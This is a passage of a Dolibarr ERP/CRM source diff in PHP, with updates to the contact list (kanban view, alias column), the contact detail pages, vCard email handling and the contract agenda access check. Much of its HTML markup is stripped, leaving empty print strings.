$totalarray['nbfield']++; } } } if (!empty($arrayfields['p.fk_soc']['checked'])) { print_liste_field_titre($arrayfields['p.fk_soc']['label'], $_SERVER["PHP_SELF"], "p.fk_soc", $begin, $param, '', $sortfield, $sortorder); + $totalarray['nbfield']++; } if (!empty($arrayfields['s.nom']['checked'])) { print_liste_field_titre($arrayfields['s.nom']['label'], $_SERVER["PHP_SELF"], "s.nom", $begin, $param, '', $sortfield, $sortorder); + $totalarray['nbfield']++; +} +if (!empty($arrayfields['s.name_alias']['checked'])) { + print_liste_field_titre($arrayfields['s.name_alias']['label'], $_SERVER["PHP_SELF"], "s.name_alias", $begin, $param, '', $sortfield, $sortorder); + $totalarray['nbfield']++; } if (!empty($arrayfields['p.priv']['checked'])) { print_liste_field_titre($arrayfields['p.priv']['label'], $_SERVER["PHP_SELF"], "p.priv", $begin, $param, '', $sortfield, $sortorder, 'center '); + $totalarray['nbfield']++; } -if (!empty($arrayfields['p.fk_prospectcontactlevel']['checked'])) { - print_liste_field_titre($arrayfields['p.fk_prospectcontactlevel']['label'], $_SERVER["PHP_SELF"], "p.fk_prospectcontactlevel", "", $param, '', $sortfield, $sortorder, 'center '); +if (!empty($arrayfields['p.fk_prospectlevel']['checked'])) { + print_liste_field_titre($arrayfields['p.fk_prospectlevel']['label'], $_SERVER["PHP_SELF"], "p.fk_prospectlevel", "", $param, '', $sortfield, $sortorder, 'center '); + $totalarray['nbfield']++; } if (!empty($arrayfields['p.fk_stcommcontact']['checked'])) { print_liste_field_titre($arrayfields['p.fk_stcommcontact']['label'], $_SERVER["PHP_SELF"], "p.fk_stcommcontact", "", $param, '', $sortfield, $sortorder, 'center '); + $totalarray['nbfield']++; } // Extra fields include DOL_DOCUMENT_ROOT.'/core/tpl/extrafields_list_search_title.tpl.php'; // Hook fields -$parameters = array( - 'arrayfields'=>$arrayfields, - 'param'=>$param, - 'sortfield'=>$sortfield, - 'sortorder'=>$sortorder, -); +$parameters = array('arrayfields'=>$arrayfields, 'param'=>$param, 'sortfield'=>$sortfield, 'sortorder'=>$sortorder, 'totalarray'=>&$totalarray); $reshook = $hookmanager->executeHooks('printFieldListTitle', $parameters, $object, $action); // Note that $action and $object may have been modified by hook print $hookmanager->resPrint; if (!empty($arrayfields['p.datec']['checked'])) { print_liste_field_titre($arrayfields['p.datec']['label'], $_SERVER["PHP_SELF"], "p.datec", "", $param, '', $sortfield, $sortorder, 'center nowrap '); + $totalarray['nbfield']++; } if (!empty($arrayfields['p.tms']['checked'])) { print_liste_field_titre($arrayfields['p.tms']['label'], $_SERVER["PHP_SELF"], "p.tms", "", $param, '', $sortfield, $sortorder, 'center nowrap '); + $totalarray['nbfield']++; } if (!empty($arrayfields['p.statut']['checked'])) { print_liste_field_titre($arrayfields['p.statut']['label'], $_SERVER["PHP_SELF"], "p.statut", "", $param, '', $sortfield, $sortorder, 'center '); + $totalarray['nbfield']++; } if (!empty($arrayfields['p.import_key']['checked'])) { print_liste_field_titre($arrayfields['p.import_key']['label'], $_SERVER["PHP_SELF"], "p.import_key", "", $param, '', $sortfield, $sortorder, 'center '); + $totalarray['nbfield']++; } if (empty($conf->global->MAIN_CHECKBOX_LEFT_COLUMN)) { print_liste_field_titre($selectedfields, $_SERVER["PHP_SELF"], "", '', '', '', $sortfield, $sortorder, 'center maxwidthsearch '); + $totalarray['nbfield']++; } print "\n"; +// Loop on record +// -------------------------------------------------------------------- $i = 0; +$savnbfield = $totalarray['nbfield']; $totalarray = array(); $totalarray['nbfield'] = 0; -while ($i < min($num, $limit)) { +$imaxinloop = ($limit ? min($num, $limit) : $num); +while ($i < $imaxinloop) { $obj = $db->fetch_object($resql); + if (empty($obj)) { + break; // Should not happen + } $arraysocialnetworks = (array) json_decode($obj->socialnetworks, true); $contactstatic->lastname = $obj->lastname; @@ -1151,268 +1290,329 @@ while ($i < min($num, $limit)) { $contactstatic->country_code = $obj->country_code; $contactstatic->photo = $obj->photo; $contactstatic->import_key = $obj->import_key; + $contactstatic->photo = $obj->photo; + $contactstatic->fk_prospectlevel = $obj->fk_prospectlevel; - $contactstatic->fk_prospectlevel = $obj->fk_prospectcontactlevel; - - print ''; - - // Action column - if (!empty($conf->global->MAIN_CHECKBOX_LEFT_COLUMN)) { - print ''; - } - // ID - if (!empty($arrayfields['p.rowid']['checked'])) { - print '\n"; - if (!$i) { - $totalarray['nbfield']++; + if ($obj->socid > 0) { + $contactstatic->fetch_thirdparty($obj->socid); } - } - // Name - if (!empty($arrayfields['p.lastname']['checked'])) { - print ''; - if (!$i) { - $totalarray['nbfield']++; + print $contactstatic->getKanbanView(''); + if ($i == ($imaxinloop - 1)) { + print ''; + print ''; } - } - // Firstname - if (!empty($arrayfields['p.firstname']['checked'])) { - print ''; - if (!$i) { - $totalarray['nbfield']++; + } else { + // Show here line of result + $j = 0; + print ''; + + // Action column + if (getDolGlobalString('MAIN_CHECKBOX_LEFT_COLUMN')) { + print ''; + if (!$i) { + $totalarray['nbfield']++; + } } - } - // Job position - if (!empty($arrayfields['p.poste']['checked'])) { - print ''; - if (!$i) { - $totalarray['nbfield']++; + + // ID + if (!empty($arrayfields['p.rowid']['checked'])) { + print '\n"; + if (!$i) { + $totalarray['nbfield']++; + } } - } - // Address - if (!empty($arrayfields['p.address']['checked'])) { - print ''; - if (!$i) { - $totalarray['nbfield']++; + + // (Last) Name + if (!empty($arrayfields['p.lastname']['checked'])) { + print ''; + if (!$i) { + $totalarray['nbfield']++; + } } - } - // Zip - if (!empty($arrayfields['p.zip']['checked'])) { - print ''; - if (!$i) { - $totalarray['nbfield']++; + + // Firstname + if (!empty($arrayfields['p.firstname']['checked'])) { + print ''; + if (!$i) { + $totalarray['nbfield']++; + } } - } - // Town - if (!empty($arrayfields['p.town']['checked'])) { - print ''; - if (!$i) { - $totalarray['nbfield']++; + + // Job position + if (!empty($arrayfields['p.poste']['checked'])) { + print ''; + if (!$i) { + $totalarray['nbfield']++; + } } - } - // State - /*if (!empty($arrayfields['state.nom']['checked'])) - { - print "\n"; - if (! $i) $totalarray['nbfield']++; - } - // Region - if (!empty($arrayfields['region.nom']['checked'])) - { - print "\n"; - if (! $i) $totalarray['nbfield']++; - }*/ - // Country - if (!empty($arrayfields['country.code_iso']['checked'])) { - print ''; - if (!$i) { - $totalarray['nbfield']++; + + // Address + if (!empty($arrayfields['p.address']['checked'])) { + print ''; + if (!$i) { + $totalarray['nbfield']++; + } } - } - // Phone - if (!empty($arrayfields['p.phone']['checked'])) { - print ''; - if (!$i) { - $totalarray['nbfield']++; + + // Zip + if (!empty($arrayfields['p.zip']['checked'])) { + print ''; + if (!$i) { + $totalarray['nbfield']++; + } } - } - // Phone perso - if (!empty($arrayfields['p.phone_perso']['checked'])) { - print ''; - if (!$i) { - $totalarray['nbfield']++; + + // Town + if (!empty($arrayfields['p.town']['checked'])) { + print ''; + if (!$i) { + $totalarray['nbfield']++; + } } - } - // Phone mobile - if (!empty($arrayfields['p.phone_mobile']['checked'])) { - print ''; - if (!$i) { - $totalarray['nbfield']++; + + /* + // State + if (!empty($arrayfields['state.nom']['checked'])) + { + print "\n"; + if (! $i) $totalarray['nbfield']++; } - } - // Fax - if (!empty($arrayfields['p.fax']['checked'])) { - print ''; - if (!$i) { - $totalarray['nbfield']++; + + // Region + if (!empty($arrayfields['region.nom']['checked'])) + { + print "\n"; + if (! $i) $totalarray['nbfield']++; + }*/ + + // Country + if (!empty($arrayfields['country.code_iso']['checked'])) { + print ''; + if (!$i) { + $totalarray['nbfield']++; + } } - } - // EMail - if (!empty($arrayfields['p.email']['checked'])) { - print ''; - if (!$i) { - $totalarray['nbfield']++; + + // Phone pro + if (!empty($arrayfields['p.phone']['checked'])) { + print ''; + if (!$i) { + $totalarray['nbfield']++; + } } - } - // No EMail - if (!empty($arrayfields['unsubscribed']['checked'])) { - print ''; + if (!$i) { + $totalarray['nbfield']++; + } } - print ''; - if (!$i) { - $totalarray['nbfield']++; + + // Phone mobile + if (!empty($arrayfields['p.phone_mobile']['checked'])) { + print ''; + if (!$i) { + $totalarray['nbfield']++; + } } - } - if (isModEnabled('socialnetworks')) { - foreach ($socialnetworks as $key => $value) { - if ($value['active'] && !empty($arrayfields['p.'.$key]['checked'])) { - print ''; - if (!$i) { - $totalarray['nbfield']++; + + // Fax + if (!empty($arrayfields['p.fax']['checked'])) { + print ''; + if (!$i) { + $totalarray['nbfield']++; + } + } + + // EMail + if (!empty($arrayfields['p.email']['checked'])) { + print ''; + if (!$i) { + $totalarray['nbfield']++; + } + } + + // No EMail Subscription + if (!empty($arrayfields['unsubscribed']['checked'])) { + print ''; + if (!$i) { + $totalarray['nbfield']++; + } + } + + // Social Networks + if (isModEnabled('socialnetworks')) { + foreach ($socialnetworks as $key => $value) { + if ($value['active'] && !empty($arrayfields['p.'.$key]['checked'])) { + print ''; + if (!$i) { + $totalarray['nbfield']++; + } } } } - } - // Company - if (!empty($arrayfields['p.fk_soc']['checked']) || !empty($arrayfields['s.nom']['checked'])) { - print ''; - if (!$i) { - $totalarray['nbfield']++; - } - } - // Private/Public - if (!empty($arrayfields['p.priv']['checked'])) { - print ''; - if (!$i) { - $totalarray['nbfield']++; + // Company / Third Party + if (!empty($arrayfields['p.fk_soc']['checked']) || !empty($arrayfields['s.nom']['checked'])) { + print ''; + if (!$i) { + $totalarray['nbfield']++; + } } - } - if (!empty($arrayfields['p.fk_prospectcontactlevel']['checked'])) { - // Prospect level - print '"; - if (!$i) { - $totalarray['nbfield']++; + // Alias name + if (!empty($arrayfields['s.name_alias']['checked'])) { + print ''; + if (!$i) { + $totalarray['nbfield']++; + } + } + + // Private/Public + if (!empty($arrayfields['p.priv']['checked'])) { + print ''; + if (!$i) { + $totalarray['nbfield']++; + } + } + + // Prospect Level + if (!empty($arrayfields['p.fk_prospectlevel']['checked'])) { + print '"; + if (!$i) { + $totalarray['nbfield']++; + } } - } - if (!empty($arrayfields['p.fk_stcommcontact']['checked'])) { // Prospect status - print ''; + if (!$i) { + $totalarray['nbfield']++; } } - print ''; - if (!$i) { - $totalarray['nbfield']++; - } - } - // Extra fields - include DOL_DOCUMENT_ROOT.'/core/tpl/extrafields_list_print_fields.tpl.php'; - // Fields from hook - $parameters = array('arrayfields'=>$arrayfields, 'obj'=>$obj, 'i'=>$i, 'totalarray'=>&$totalarray); - $reshook = $hookmanager->executeHooks('printFieldListValue', $parameters, $object, $action); // Note that $action and $object may have been modified by hook - print $hookmanager->resPrint; - // Date creation - if (!empty($arrayfields['p.datec']['checked'])) { - print ''; - if (!$i) { - $totalarray['nbfield']++; - } - } - // Date modification - if (!empty($arrayfields['p.tms']['checked'])) { - print ''; - if (!$i) { - $totalarray['nbfield']++; - } - } - // Status - if (!empty($arrayfields['p.statut']['checked'])) { - print ''; - if (!$i) { - $totalarray['nbfield']++; - } - } - // Import key - if (!empty($arrayfields['p.import_key']['checked'])) { - print '\n"; - if (!$i) { - $totalarray['nbfield']++; - } - } + // Extra fields + include DOL_DOCUMENT_ROOT.'/core/tpl/extrafields_list_print_fields.tpl.php'; - // Action column - if (empty($conf->global->MAIN_CHECKBOX_LEFT_COLUMN)) { - print ''; + if (!$i) { + $totalarray['nbfield']++; } - print ''; } - print ''; - } - if (!$i) { - $totalarray['nbfield']++; - } - print "\n"; + // Date modification + if (!empty($arrayfields['p.tms']['checked'])) { + print ''; + if (!$i) { + $totalarray['nbfield']++; + } + } + + // Status + if (!empty($arrayfields['p.statut']['checked'])) { + print ''; + if (!$i) { + $totalarray['nbfield']++; + } + } + + // Import key + if (!empty($arrayfields['p.import_key']['checked'])) { + print '\n"; + if (!$i) { + $totalarray['nbfield']++; + } + } + + // Action column + if (!getDolGlobalString('MAIN_CHECKBOX_LEFT_COLUMN')) { + print ''; + if (!$i) { + $totalarray['nbfield']++; + } + } + + print ''."\n"; + } $i++; } diff --git a/htdocs/contact/note.php b/htdocs/contact/note.php index bf75a3350a7..e9e5d64f495 100644 --- a/htdocs/contact/note.php +++ b/htdocs/contact/note.php @@ -51,7 +51,7 @@ if ($user->socid > 0) { $result = restrictedArea($user, 'contact', $id, 'socpeople&societe'); -$permissionnote = $user->rights->societe->creer; // Used by the include of actions_setnotes.inc.php +$permissionnote = $user->hasRight('societe', 'creer'); // Used by the include of actions_setnotes.inc.php // Initialize technical object to manage hooks of page. Note that conf->hooks_modules contains array of hook context // $hookmanager->initHooks(array('contactcard')); -> Name conflict with product/card.php @@ -106,11 +106,10 @@ if ($id > 0) { $objsoc = new Societe($db); $objsoc->fetch($object->socid); // Thirdparty - $morehtmlref .= $langs->trans('ThirdParty').' : '; if ($objsoc->id > 0) { $morehtmlref .= $objsoc->getNomUrl(1); } else { - $morehtmlref .= $langs->trans("ContactNotLinkedToCompany"); + $morehtmlref .= ''.$langs->trans("ContactNotLinkedToCompany").''; } } $morehtmlref .= ''; diff --git a/htdocs/contact/perso.php b/htdocs/contact/perso.php index bdfa4ddb708..ba5fde87468 100644 --- a/htdocs/contact/perso.php +++ b/htdocs/contact/perso.php @@ -27,6 +27,7 @@ // Load Dolibarr environment require '../main.inc.php'; require_once DOL_DOCUMENT_ROOT.'/contact/class/contact.class.php'; +require_once DOL_DOCUMENT_ROOT.'/core/class/html.formcompany.class.php'; require_once DOL_DOCUMENT_ROOT.'/core/lib/contact.lib.php'; // Load translation files required by the page @@ -42,6 +43,9 @@ if ($user->socid) { $result = restrictedArea($user, 'contact', $id, 'socpeople&societe'); $object = new Contact($db); +$errors = array(); + + /* * Action */ @@ -123,6 +127,7 @@ $help_url = 'EN:Module_Third_Parties|FR:Module_Tiers|ES:Empresas'; llxHeader('', $title, $help_url); $form = new Form($db); +$formcompany = new FormCompany($db); $object->fetch($id, $user); @@ -143,38 +148,13 @@ if ($action == 'edit') { print '
      '; +if (getDolGlobalString('MAIN_CHECKBOX_LEFT_COLUMN')) { + print ''; $searchpicto = $form->showFilterButtons('left'); print $searchpicto; print ''; print ''; print ''; print ''; print ''; @@ -968,6 +1065,12 @@ if (!empty($arrayfields['p.fk_soc']['checked']) || !empty($arrayfields['s.nom'][ print ''; print ''; + print ''; + print ''; $selectarray = array('0'=>$langs->trans("ContactPublic"), '1'=>$langs->trans("ContactPrivate")); @@ -975,7 +1078,7 @@ if (!empty($arrayfields['p.priv']['checked'])) { print ''; print $form->multiselectarray('search_level', $tab_level, $search_level, 0, 0, 'width75', 0, 0, '', '', '', 2); print ''; - print $form->selectarray('search_status', array('-1'=>'', '0'=>$langs->trans('ActivityCeased'), '1'=>$langs->trans('InActivity')), $search_status, 0, 0, 0, '', 0, 0, 0, '', 'minwidth75 onrightofpage'); + print ''; + print $form->selectarray('search_status', array('-1'=>'', '0'=>$langs->trans('ActivityCeased'), '1'=>$langs->trans('InActivity')), $search_status, 0, 0, 0, '', 0, 0, 0, '', 'search_status width100 onrightofpage'); print ''; - $searchpicto = $form->showFilterAndCheckAddButtons(0); +if (!getDolGlobalString('MAIN_CHECKBOX_LEFT_COLUMN')) { + print ''; + $searchpicto = $form->showFilterButtons(); print $searchpicto; print '
      '; - if ($massactionbutton || $massaction) { // If we are in select mode (massactionbutton defined) or if we have already selected and sent an action ($massaction) defined + if ($mode == 'kanban') { + if ($i == 0) { + print '
      '; + print '
      '; + } + // Output Kanban + if ($massactionbutton || $massaction) { // If we are in select mode (massactionbutton defined) or if we have already selected and sent an action ($massaction) defined $selected = 0; - if (in_array($obj->rowid, $arrayofselected)) { + if (in_array($object->id, $arrayofselected)) { $selected = 1; } - print ''; } - print '
      '; - print dol_escape_htmltag($obj->rowid); - print "'; - print $contactstatic->getNomUrl(1); - print '
      '.dol_escape_htmltag($obj->firstname).'
      '; + if ($massactionbutton || $massaction) { // If we are in select mode (massactionbutton defined) or if we have already selected and sent an action ($massaction) defined + $selected = 0; + if (in_array($obj->rowid, $arrayofselected)) { + $selected = 1; + } + print ''; + } + print ''.dol_escape_htmltag($obj->poste).''; + print dol_escape_htmltag($obj->rowid); + print "'.dol_escape_htmltag($obj->address).''; + print $contactstatic->getNomUrl(1); + print ''.dol_escape_htmltag($obj->zip).''.dol_escape_htmltag($obj->firstname).''.dol_escape_htmltag($obj->town).''.dol_escape_htmltag($obj->poste).'".$obj->state_name."".$obj->region_name."'; - $tmparray = getCountry($obj->fk_pays, 'all'); - print dol_escape_htmltag($tmparray['label']); - print ''.dol_escape_htmltag($obj->address).''.dol_print_phone($obj->phone_pro, $obj->country_code, $obj->rowid, $obj->socid, 'AC_TEL', ' ', 'phone').''.dol_escape_htmltag($obj->zip).''.dol_print_phone($obj->phone_perso, $obj->country_code, $obj->rowid, $obj->socid, 'AC_TEL', ' ', 'phone').''.dol_escape_htmltag($obj->town).''.dol_print_phone($obj->phone_mobile, $obj->country_code, $obj->rowid, $obj->socid, 'AC_TEL', ' ', 'mobile').'".$obj->state_name."'.dol_print_phone($obj->fax, $obj->country_code, $obj->rowid, $obj->socid, 'AC_TEL', ' ', 'fax').'".$obj->region_name."'; + $tmparray = getCountry($obj->fk_pays, 'all'); + print dol_escape_htmltag($tmparray['label']); + print ''.dol_print_email($obj->email, $obj->rowid, $obj->socid, 'AC_EMAIL', 18, 0, 1).''.dol_print_phone($obj->phone_pro, $obj->country_code, $obj->rowid, $obj->socid, 'AC_TEL', ' ', 'phone').''; - if (empty($obj->email)) { - //print ''.$langs->trans("NoEmail").''; - } else { - print yn(($obj->unsubscribed > 0) ? 1 : 0); + + // Phone perso + if (!empty($arrayfields['p.phone_perso']['checked'])) { + print ''.dol_print_phone($obj->phone_perso, $obj->country_code, $obj->rowid, $obj->socid, 'AC_TEL', ' ', 'phone').''.dol_print_phone($obj->phone_mobile, $obj->country_code, $obj->rowid, $obj->socid, 'AC_TEL', ' ', 'mobile').''.(empty($arraysocialnetworks[$key]) ? '' : dol_print_socialnetworks($arraysocialnetworks[$key], $obj->rowid, $obj->socid, $key, $socialnetworks)).''.dol_print_phone($obj->fax, $obj->country_code, $obj->rowid, $obj->socid, 'AC_TEL', ' ', 'fax').''.dol_print_email($obj->email, $obj->rowid, $obj->socid, 'AC_EMAIL', 18, 0, 1).''; + if (empty($obj->email)) { + //print ''.$langs->trans("NoEmail").''; + } else { + print yn(($obj->unsubscribed > 0) ? 1 : 0); + } + print ''.(empty($arraysocialnetworks[$key]) ? '' : dol_print_socialnetworks($arraysocialnetworks[$key], $obj->rowid, $obj->socid, $key, $socialnetworks)).''; - if ($obj->socid) { - $objsoc = new Societe($db); - $objsoc->fetch($obj->socid); - print $objsoc->getNomUrl(1); - } else { - print ' '; - } - print ''.$contactstatic->LibPubPriv($obj->priv).''; + if ($obj->socid) { + $objsoc = new Societe($db); + $objsoc->fetch($obj->socid); + print $objsoc->getNomUrl(1, '', 100, 0, 1, empty($arrayfields['s.name_alias']['checked']) ? 0 : 1); + } else { + print ' '; + } + print ''; - print $contactstatic->getLibProspLevel(); - print "'; + print dol_escape_htmltag($obj->alias); + print ''.$contactstatic->LibPubPriv($obj->priv).''; + print $contactstatic->getLibProspLevel(); + print "
      '; - print '
      '.$contactstatic->libProspCommStatut($obj->stcomm_id, 2, $contactstatic->cacheprospectstatus[$obj->stcomm_id]['label'], $obj->stcomm_picto); - print '
      -
      '; - foreach ($contactstatic->cacheprospectstatus as $key => $val) { - $titlealt = 'default'; - if (!empty($val['code']) && !in_array($val['code'], array('ST_NO', 'ST_NEVER', 'ST_TODO', 'ST_PEND', 'ST_DONE'))) { - $titlealt = $val['label']; + if (!empty($arrayfields['p.fk_stcommcontact']['checked'])) { + print '
      '; + print '
      '.$contactstatic->libProspCommStatut($obj->stcomm_id, 2, $contactstatic->cacheprospectstatus[$obj->stcomm_id]['label'], $obj->stcomm_picto); + print '
      -
      '; + foreach ($contactstatic->cacheprospectstatus as $key => $val) { + $titlealt = 'default'; + if (!empty($val['code']) && !in_array($val['code'], array('ST_NO', 'ST_NEVER', 'ST_TODO', 'ST_PEND', 'ST_DONE'))) { + $titlealt = $val['label']; + } + if ($obj->stcomm_id != $val['id']) { + print ''.img_action($titlealt, $val['code'], $val['picto']).''; + } } - if ($obj->stcomm_id != $val['id']) { - print ''.img_action($titlealt, $val['code'], $val['picto']).''; + print '
      '; - print dol_print_date($db->jdate($obj->date_creation), 'dayhour', 'tzuser'); - print ''; - print dol_print_date($db->jdate($obj->date_update), 'dayhour', 'tzuser'); - print ''.$contactstatic->getLibStatut(5).''; - print dol_escape_htmltag($obj->import_key); - print "'; - if ($massactionbutton || $massaction) { // If we are in select mode (massactionbutton defined) or if we have already selected and sent an action ($massaction) defined - $selected = 0; - if (in_array($obj->rowid, $arrayofselected)) { - $selected = 1; + // Fields from hook + $parameters = array('arrayfields'=>$arrayfields, 'object'=>$object, 'obj'=>$obj, 'i'=>$i, 'totalarray'=>&$totalarray); + $reshook = $hookmanager->executeHooks('printFieldListValue', $parameters, $object, $action); // Note that $action and $object may have been modified by hook + print $hookmanager->resPrint; + // Date creation + if (!empty($arrayfields['p.datec']['checked'])) { + print ''; + print dol_print_date($db->jdate($obj->date_creation), 'dayhour', 'tzuser'); + print '
      '; + print dol_print_date($db->jdate($obj->date_update), 'dayhour', 'tzuser'); + print ''.$contactstatic->getLibStatut(5).''; + print dol_escape_htmltag($obj->import_key); + print "'; + if ($massactionbutton || $massaction) { // If we are in select mode (massactionbutton defined) or if we have already selected and sent an action ($massaction) defined + $selected = 0; + if (in_array($obj->rowid, $arrayofselected)) { + $selected = 1; + } + print ''; + } + print '
      '; // Ref - print ''; - // Photo - print ''; - // Name - print ''; - print ''; + print ''; + print ''; // Company if (empty($conf->global->SOCIETE_DISABLE_CONTACTS)) { @@ -182,31 +162,62 @@ if ($action == 'edit') { $objsoc = new Societe($db); $objsoc->fetch($object->socid); - print ''; + print ''; } else { - print ''; } } // Civility - print ''; + // Photo + print ''; + print ''; + print ''; + print ''; + // Date To Birth print ''; - - print ''; + print ''; } else { - print ''; + print ''; } + print ''; print ''; print "
      '.$langs->trans("Ref").''; + print '
      '.$langs->trans("Ref").''; print $object->id; print ''; - print $form->showphoto('contact', $object)."\n"; - if ($object->photo) { - print "
      \n"; - } - - print ''; - - if ($object->photo) { - print ''; - } - print ''; - print ''; - print '
      '.$langs->trans("Delete").'

      '.$langs->trans("PhotoFile").'
      '; - $maxfilesizearray = getMaxFileSizeArray(); - $maxmin = $maxfilesizearray['maxmin']; - if ($maxmin > 0) { - print ''; // MAX_FILE_SIZE must precede the field type=file - } - print ''; - print '
      '; - - print '
      '.$langs->trans("Lastname").' / '.$langs->trans("Label").''.$object->lastname.'
      '.$langs->trans("Firstname").''.$object->firstname.'
      '.$langs->trans("Lastname").' / '.$langs->trans("Label").''.$object->lastname.'
      '.$langs->trans("Firstname").''.$object->firstname.'
      '.$langs->trans("ThirdParty").''.$objsoc->getNomUrl(1).'
      '.$langs->trans("ThirdParty").''.$objsoc->getNomUrl(1).'
      '.$langs->trans("ThirdParty").''; + print '
      '.$langs->trans("ThirdParty").''; print $langs->trans("ContactNotLinkedToCompany"); print '
      '.$langs->trans("UserTitle").''; + print '
      '; print $object->getCivilityLabel(); + //print $formcompany->select_civility(GETPOSTISSET("civility_code") ? GETPOST("civility_code", 'alpha') : $object->civility_code, 'civility_code'); print '
      '.$form->editfieldkey('PhotoFile', 'photoinput', '', $object, 0).''; + if ($object->photo) { + print $form->showphoto('contact', $object); + } + $caneditfield = 1; + if ($caneditfield) { + if ($object->photo) { + print "
      \n"; + } + print ''; + if ($object->photo) { + print ''; + } + //print ''; + print ''; + print '
      '.$langs->trans("PhotoFile").'
      '; + $maxfilesizearray = getMaxFileSizeArray(); + $maxmin = $maxfilesizearray['maxmin']; + if ($maxmin > 0) { + print ''; // MAX_FILE_SIZE must precede the field type=file + } + print ''; + print '
      '; + } + print '
      '.$langs->trans("DateOfBirth").''; $form = new Form($db); print $form->selectDate($object->birthday, 'birthday', 0, 0, 1, "perso", 1, 0); - print ''.$langs->trans("Alert").': '; + print '     '; + print ' '; if (!empty($object->birthday_alert)) { - print '
      "; @@ -232,11 +243,10 @@ if ($action == 'edit') { $objsoc = new Societe($db); $objsoc->fetch($object->socid); // Thirdparty - $morehtmlref .= $langs->trans('ThirdParty').' : '; if ($objsoc->id > 0) { $morehtmlref .= $objsoc->getNomUrl(1); } else { - $morehtmlref .= $langs->trans("ContactNotLinkedToCompany"); + $morehtmlref .= ''.$langs->trans("ContactNotLinkedToCompany").''; } } $morehtmlref .= '
      '; diff --git a/htdocs/contact/project.php b/htdocs/contact/project.php index 571fa57e428..466e6a6b5b6 100644 --- a/htdocs/contact/project.php +++ b/htdocs/contact/project.php @@ -82,14 +82,14 @@ if ($id) { $morehtmlref .= ''; $morehtmlref .= '
      '; - if (empty($conf->global->SOCIETE_DISABLE_CONTACTS) && !empty($socid)) { - $object->thirdparty->fetch($socid); + if (empty($conf->global->SOCIETE_DISABLE_CONTACTS)) { + $objsoc = new Societe($db); + $objsoc->fetch($object->socid); // Thirdparty - $morehtmlref .= $langs->trans('ThirdParty').' : '; - if ($object->thirdparty->id > 0) { - $morehtmlref .= $object->thirdparty->getNomUrl(1, 'contact'); + if ($objsoc->id > 0) { + $morehtmlref .= $objsoc->getNomUrl(1, 'contact'); } else { - $morehtmlref .= $langs->trans("ContactNotLinkedToCompany"); + $morehtmlref .= ''.$langs->trans("ContactNotLinkedToCompany").''; } } $morehtmlref .= '
      '; diff --git a/htdocs/contact/vcard.php b/htdocs/contact/vcard.php index fe11c90c0b9..d366d1c2b17 100644 --- a/htdocs/contact/vcard.php +++ b/htdocs/contact/vcard.php @@ -92,18 +92,23 @@ if ($company->id) { } elseif (empty(trim($contact->email))) { // when contact e-mail is empty, use only company e-mail $v->setEmail($company->email); - } elseif (strtolower(end(explode("@", $contact->email))) == strtolower(end(explode("@", $company->email)))) { - // when e-mail domain of contact and company are the same, use contact e-mail at first (and company e-mail at second) - $v->setEmail($contact->email); - - // support by Microsoft Outlook (2019 and possible earlier) - $v->setEmail($company->email, 'INTERNET'); } else { - // when e-mail of contact and company complete different use company e-mail at first (and contact e-mail at second) - $v->setEmail($company->email); + $tmpcontact = explode("@", trim($contact->email)); + $tmpcompany = explode("@", trim($company->email)); - // support by Microsoft Outlook (2019 and possible earlier) - $v->setEmail($contact->email, 'INTERNET'); + if (strtolower(end($tmpcontact)) == strtolower(end($tmpcompany))) { + // when e-mail domain of contact and company are the same, use contact e-mail at first (and company e-mail at second) + $v->setEmail($contact->email); + + // support by Microsoft Outlook (2019 and possible earlier) + $v->setEmail($company->email, 'INTERNET'); + } else { + // when e-mail of contact and company complete different use company e-mail at first (and contact e-mail at second) + $v->setEmail($company->email); + + // support by Microsoft Outlook (2019 and possible earlier) + $v->setEmail($contact->email, 'INTERNET'); + } } // Si contact lie a un tiers non de type "particulier" diff --git a/htdocs/contrat/agenda.php b/htdocs/contrat/agenda.php index 3a3c5440b30..4984e940bad 100644 --- a/htdocs/contrat/agenda.php +++ b/htdocs/contrat/agenda.php @@ -23,6 +23,7 @@ */ require "../main.inc.php"; +require_once DOL_DOCUMENT_ROOT.'/core/lib/company.lib.php'; require_once DOL_DOCUMENT_ROOT.'/core/lib/functions2.lib.php'; require_once DOL_DOCUMENT_ROOT.'/core/lib/contract.lib.php'; require_once DOL_DOCUMENT_ROOT.'/core/class/html.formfile.class.php'; @@ -41,8 +42,10 @@ if (GETPOST('actioncode', 'array')) { $actioncode = '0'; } } else { - $actioncode = GETPOST("actioncode", "alpha", 3) ?GETPOST("actioncode", "alpha", 3) : (GETPOST("actioncode") == '0' ? '0' : (empty($conf->global->AGENDA_DEFAULT_FILTER_TYPE_FOR_OBJECT) ? '' : $conf->global->AGENDA_DEFAULT_FILTER_TYPE_FOR_OBJECT)); + $actioncode = GETPOST("actioncode", "alpha", 3) ?GETPOST("actioncode", "alpha", 3) : (GETPOST("actioncode") == '0' ? '0' : getDolGlobalString('AGENDA_DEFAULT_FILTER_TYPE_FOR_OBJECT')); } + +$search_rowid = GETPOST('search_rowid'); $search_agenda_label = GETPOST('search_agenda_label'); $action = GETPOST('action', 'alpha'); @@ -54,7 +57,11 @@ $ref = GETPOST('ref', 'alpha'); if ($user->socid) { $socid = $user->socid; } -$result = restrictedArea($user, 'contrat', $id, ''); + +// Security check +$fieldvalue = (!empty($id) ? $id : (!empty($ref) ? $ref : '')); +$fieldtype = (!empty($id) ? 'rowid' : 'ref'); +$result = restrictedArea($user, 'contrat', $fieldvalue, '', '', '', $fieldtype); $limit = GETPOST('limit', 'int') ?GETPOST('limit', 'int') : $conf->liste_limit; $sortfield = GETPOST('sortfield', 'aZ09comma'); @@ -73,6 +80,13 @@ if (!$sortorder) { $sortorder = 'DESC,DESC'; } + +$object = new Contrat($db); + +if ($id > 0 || !empty($ref)) { + $result = $object->fetch($id, $ref); +} + // Initialize technical object to manage hooks of page. Note that conf->hooks_modules contains array of hook context $hookmanager->initHooks(array('agendacontract', 'globalcard')); @@ -83,7 +97,7 @@ $permissiontoadd = $user->rights->contrat->creer; // Used by the include * Actions */ -$parameters = array('id'=>$id); +$parameters = array('id' => $id, 'ref' => $ref); $reshook = $hookmanager->executeHooks('doActions', $parameters, $object, $action); // Note that $action and $object may have been modified by some hooks if ($reshook < 0) { setEventMessages($hookmanager->error, $hookmanager->errors, 'errors'); @@ -104,8 +118,6 @@ if (empty($reshook)) { } - - /* * View */ @@ -116,7 +128,7 @@ if (isModEnabled('project')) { $formproject = new FormProjets($db); } -if ($id > 0) { +if ($object->id > 0) { // Load object modContract $module = (!empty($conf->global->CONTRACT_ADDON) ? $conf->global->CONTRACT_ADDON : 'mod_contract_serpis'); if (substr($module, 0, 13) == 'mod_contract_' && substr($module, -3) == 'php') { @@ -130,8 +142,6 @@ if ($id > 0) { require_once 